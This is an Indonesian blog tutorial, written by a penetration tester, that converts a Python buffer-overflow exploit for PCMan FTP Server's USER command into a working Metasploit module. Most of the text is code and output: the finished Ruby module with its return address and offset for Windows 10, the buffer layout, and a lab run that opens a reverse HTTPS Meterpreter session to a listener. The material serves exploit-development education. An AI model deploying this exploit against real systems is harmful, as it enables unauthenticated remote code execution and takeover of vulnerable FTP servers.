Membangun Eksploitasi Windows Bagian 5: Memindahkan eksploit ke Metasploit

Metasploit adalah sebuah framework yang dikembangkan dengan tujuan untuk memudahkan proses eksploitasi, terutama terkait dengan manajemen dan pengiriman payload eksploit.

Pada tulisan sebelumnya kita sudah membahas bagaimana proses eksploitasi terhadap stack overflow dengan kondisi langsung menimpa EIP atau SEH. Eksploit tersebut dapat kita tulis dengan bahasa pemrograman apapun, kebetulan yang saya pakai dari kemarin menggunakan Python.

Metasploit adalah sebuah framework yang dikembangkan dengan tujuan untuk memudahkan proses eksploitasi, terutama terkait dengan manajemen dan pengiriman payload eksploit. Metasploit dibuat menggunakan bahasa Ruby dan bersifat open source. Karena sifatnya yang open source dan merupakan sebuah framework, Metasploit bisa menerima kode eksploit yang dibuat di luar framework namun harus mengikuti kaidah-kaidah yang ditentukan oleh Metasploit.

Pada tulisan ini kita akan memindahkan eksploit yang sudah kita tulis sebelumnya yaitu PCManFTP Server. Jika kita cari pada eksploit Metasploit, sudah ada eksploit untuk PCManFTP server namun eksploit tersebut hanya untuk fungsi PUT dan STOR, sementara kerentanan pada eksploit yang kita buat ada pada fungsi USER. Kondisi ini cocok untuk dijadikan contoh.

Metasploit memiliki template yang dapat digunakan sebagai referensi format pembuatan eksploit di Metasploit. Lokasinya ada di mesin Kali di direktori /usr/share/metasploit-framework/modules/exploits/example.rb atau bisa langsung diunduh dari Github repositori mereka: example.rb. Agar mendapatkan contoh yang sudah terbukti berfungsi dan benar, saya akan mengambil contoh dari file /usr/share/metasploit-framework/modules/exploits/windows/ftp/pcman_put.rb. Berikut adalah isi dari file tersebut.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Ftp
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PCMAN FTP Server Buffer Overflow - PUT Command',
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability found in the PUT command of the
          PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
          credentials are enabled.
      },
      'Author'         =>
          [
            'Jay Turla',      # Initial Discovery -- @shipcod3
            'Chris Higgins'   # msf Module -- @ch1gg1ns
          ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2013-4730' ],
          [ 'EDB',   '37731'],
          [ 'OSVDB',   '94624']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Payload'        =>
        {
          'Space'   => 1000,
          'BadChars'  => "\x00\x0A\x0D",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP3 English',
            {
              'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
              'Offset' => 2007
            }
          ],
        ],
      'DisclosureDate' => 'Aug 07 2015',
      'DefaultTarget'  => 0))
  end
  def post_auth?
    true
  end
  def check
    connect_login
    disconnect
    if /220 PCMan's FTP Server 2\.0/ === banner
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end
  def exploit
    connect_login
    print_status('Generating payload...')
    sploit = rand_text_alpha(target['Offset'])
    sploit << [target.ret].pack('V')
    sploit << make_nops(16)
    sploit << payload.encoded
    send_cmd( ["PUT", sploit], false )
    disconnect
  end
end

Jika diperhatikan, ada bagian-bagian yang perlu disesuaikan (bagian yang disoroti) agar dapat berfungsi sesuai dengan eksploit yang sudah berfungsi sebelumnya dalam bahasa Python. Untuk dapat memindahkan eksploit sebelumnya yang menggunakan bahasa Python, kita perlu menjabarkan kembali bagian-bagian penting dari eksploit PCManFTP tersebut yaitu:

sc = shellcode
target = '172.16.165.133'
size = 5000
junk = b"A" * 2001
junk +=b"\x27\x7E\x1B\x77" #JMP ESP 0x771B7E27 dari Shell32.DLL
junk +=b"C" * 4
junk +=b"\x90" * 16
junk +=sc
junk +=b"\xcc" * (size-len(junk))

junk merupakan nama yang saya gunakan sebagai variabel inti, semua karakter eksploit dikirimkan menggunakan variabel ini. Jika dipecah per fungsinya, maka jadi seperti ini:

junk/buffer (A) + EIP (jmp esp) + ekstra (4 karakter C) + NOPSled (16 karakter "\x90") + shellcode + sisa buffer ("\xcc")

Sampai saat ini, kita simpan dulu bagian-bagian dari eksploit di atas dan akan kita bahas berurutan dari paling atas.

include Msf::Exploit::Remote::Ftp merupakan penanda bahwa skrip di atas membutuhkan fungsi koneksi ke layanan FTP. Pada bagian def initialize(info = {}) terdapat informasi-informasi yang berkaitan dengan eksploit tersebut. Sebagai contoh bagian Payload dan Targets memberikan gambaran hal-hal yang perlu disesuaikan. Bagian def exploit mengisyaratkan sebuah urutan eksploitasi, mirip rangkaian fungsi sudah kita jabarkan di atas.

Jika kita gabungkan, maka beberapa hal yang perlu disesuaikan adalah:

Bagian Targets:

'Targets'        =>
          [
            [ 'Windows 10 Enterprise Evaluation (version 1909)',
              {
                'Ret' => 0x76ca7e48, # jmp esp C:\WINDOWS\system32\shell32.dll
                'Offset' => 2001
              }
            ],
          ],

Pada baris ke-3 saya ubah nama Targets menjadi Windows 10 Enterprise Evaluation (version 1909). Lalu pada baris ke-5 bagian Ret diisi dengan alamat ke JMP ESP pada modul shell32.dll. Offset pada baris ke-6 merupakan jumlah karakter yang dibutuhkan untuk mencapai EIP (junk/buffer) yaitu sebanyak 2001 karakter.

Lalu pada bagian def exploit seperti ini:

def exploit
    connect
    print_status('Generating payload...')
    sploit = rand_text_alpha(target['Offset'])
    sploit << [target.ret].pack('V')
    sploit << make_nops(16)
    sploit << payload.encoded
    send_cmd( ["USER", sploit], false )
    disconnect
end

bagian def exploit merupakan bagian yang paling penting karena pada bagian ini adalah rangkaian eksploit persis seperti urutan pada eksploit sebelumnya yang menggunakan bahasa Python. Baris ke-2 adalah metode connect yang merupakan bagian dari modul Msf::Exploit::Remote::Ftp. Pada skrip PCManFTP sebelumnya (pcman_put.rb), baris ini menggunakan metode connect_login yang menurut saya tidak tepat untuk kondisi eksploit kita, karena metode connect_login akan mengirimkan parameter USER dan PASS ke FTP server target. Pada eksploit yang kita bangun, kerentanan yang kita eksploit ada pada parameter USER, untuk itu kita tidak perlu menggunakan metode connect_login, melainkan metode connect saja. Pada baris 5–8 merupakan rangkaian eksploit yang dapat dijelaskan sebagai berikut.

  • rand_text_alpha(target['Offset']) — fungsi Metasploit untuk menghasilkan karakter acak sebanyak jumlah yang ditentukan di opsi ‘Offset’
  • [target.ret].pack('V') — bagian ini mengambil nilai dari opsi Target -> Ret, yang berisi alamat JMP ESP
  • make_nops(16) — bagian ini akan menghasilkan NOPsled sebanyak 16 byte
  • payload.encoded — bagian ini merupakan fungsi dari Metasploit untuk menghasilkan payload utama

Pada baris 10, send_cmd( ["USER", sploit], false ) mengirimkan parameter yang memiliki kerentanan, yaitu USER diikuti oleh variabel sploit yang berisi payload eksploit.

Jika digabungkan maka akan jadi seperti ini:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::Remote::Ftp
    def initialize(info = {})
      super(update_info(info,
        'Name'           => 'PCMAN FTP Server Buffer Overflow - USER Command',
        'Description'    => %q{
            This module exploits a buffer overflow vulnerability found in the USER command of the
            PCMAN FTP v2.0.7 Server. This exploit doesn't require authentication.
        },
        'Author'         =>
            [
              'saya'   # msf Module
            ],
        'License'        => MSF_LICENSE,
        'References'     =>
          [
            [ 'CVE', '2013-4730' ]
          ],
        'DefaultOptions' =>
          {
            'EXITFUNC' => 'process'
          },
        'Payload'        =>
          {
            'Space'   => 1000,
            'BadChars'  => "\x00\x0A\x0D",
          },
        'Platform'       => 'win',
        'Targets'        =>
          [
            [ 'Windows 10 Enterprise Evaluation (version 1909)',
              {
                'Ret' => 0x76ca7e48, # jmp esp C:\WINDOWS\system32\shell32.dll
                'Offset' => 2001
              }
            ],
          ],
        'DisclosureDate' => 'Aug 07 2015',
        'DefaultTarget'  => 0))
    end
    def check
      connect_login
      disconnect
      if /220 PCMan's FTP Server 2\.0/ === banner
        Exploit::CheckCode::Appears
      else
        Exploit::CheckCode::Safe
      end
    end
    def exploit
      connect
      print_status('Generating payload...')
      sploit = rand_text_alpha(target['Offset'])
      sploit << [target.ret].pack('V')
      sploit << make_nops(16)
      sploit << payload.encoded
      send_cmd( ["USER", sploit], false )
      disconnect
    end
  end

Simpan file tersebut dengan nama pcman_user.rb (atau apa pun) lalu letakkan di direktori local Metasploit (bukan direktori instalasi utama) yang berada pada /home.

kali@kali:~$ mkdir -p ~/.msf4/modules/exploits/windows/ftp/
kali@kali:~$ cp pcman_user.rb ~/.msf4/modules/exploits/windows/ftp/

Lalu jalankan Metasploit dan pastikan bahwa modul pcman_user.rb sudah berhasil dimuat oleh Metasploit.

kali@kali:~$ sudo -E msfconsole
[sudo] password for kali:  
                                                  
_                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
     |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\
      =[ metasploit v5.0.94-dev                          ]
+ -- --=[ 2035 exploits - 1103 auxiliary - 344 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]
Metasploit tip: Save the current environment with the save command, future console restarts will use this environment again
msf5 > search pcman
Matching Modules
================
  #  Name                                       Disclosure Date  Rank    Check  Description
  -  ----                                       ---------------  ----    -----  -----------
  0  auxiliary/scanner/ftp/pcman_ftp_traversal  2015-09-28       normal  Yes    PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure
  1  exploit/windows/ftp/pcman_put              2015-08-07       normal  Yes    PCMAN FTP Server Buffer Overflow - PUT Command
  2  exploit/windows/ftp/pcman_stor             2013-06-27       normal  Yes    PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow
  3  exploit/windows/ftp/pcman_user             2015-08-07       normal  Yes    PCMAN FTP Server Buffer Overflow - USER Command
msf5 >
Modul pcman_user.rb berhasil dimuat oleh Metasploit

Setelah berhasil dimuat, saatnya menguji skrip eksploit kita di Metasploit

msf5 > use exploit/windows/ftp/pcman_user  
msf5 exploit(windows/ftp/pcman_user) > show options  
Module options (exploit/windows/ftp/pcman_user):
  Name     Current Setting      Required  Description
  ----     ---------------      --------  -----------
  FTPPASS  [email protected]  no        The password for the specified username
  FTPUSER  anonymous            no        The username to authenticate as
  RHOSTS   172.16.165.133       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    21                   yes       The target port (TCP)
Payload options (windows/meterpreter/reverse_https):
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     172.16.165.128   yes       The local listener hostname
  LPORT     8443             yes       The local listener port
  LURI                       no        The HTTP Path
Exploit target:
  Id  Name
  --  ----
  0   Windows 10 Enterprise Evaluation (version 1909)
msf5 exploit(windows/ftp/pcman_user) > set RHOSTS 172.16.165.133           
RHOSTS => 172.16.165.133
msf5 exploit(windows/ftp/pcman_user) > exploit  
[*] Started HTTPS reverse handler on https://172.16.165.128:8443
[*] 172.16.165.133:21 - Generating payload...
[*] https://172.16.165.128:8443 handling request from 172.16.165.133; (UUID: ufvgwpai) Staging x86 payload (177241 bytes) ...
[*] Meterpreter session 1 opened (172.16.165.128:8443 -> 172.16.165.133:50025) at 2020-06-28 14:07:39 -0400
meterpreter >
Eksploit dengan Metasploit berhasil

Berhasil! Konsol meterpreter sudah menunggu untuk digunakan. Kita sudah berhasil mengkonversi skrip eksploit sebelumnya yang menggunakan Python dan minim fitur ke Metasploit framework yang menggunakan bahasa Ruby dan sangat kaya fitur.

Tujuan utama mengkonversi eksploit ke Metasploit karena fitur Metasploit yang dapat memberikan kemudahan dalam manajemen target dan proses eksploitasi lanjutan, tidak heran banyak pembuat eksploit yang memanfaatkan Metasploit sebagai salah satu tool untuk pembangunan dan penggunaan modul eksploit tingkat lanjut.

Referensi

modpr0be
modpr0be

Posisi saya saat ini sebagai direktur dan pemilik PT Spentera, sebuah perusahaan yang fokus dalam bidang penetration test, incident response, intrusion analysis and forensic investigation.

Saya juga berkontribusi untuk repositori eksploit Metasploit Framework sebagai pengembang kode eksploit. Saat ini memegang sertifikasi dari Offensive Security Certified Professional (OSCP), Offensive Security Certified Expert (OSCE), ISO/IEC ISMS 27001: 2013 Lead Auditor/Auditor, GIAC Certified Intrusion Analyst (GCIA), dan Offensive Security Exploitation Expert (OSEE).

Jika ingin menghubungi saya dapat melalui email bisnis di tom at spentera dot id atau pribadi di me at modpr0 dot be

Articles: 64

One comment

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.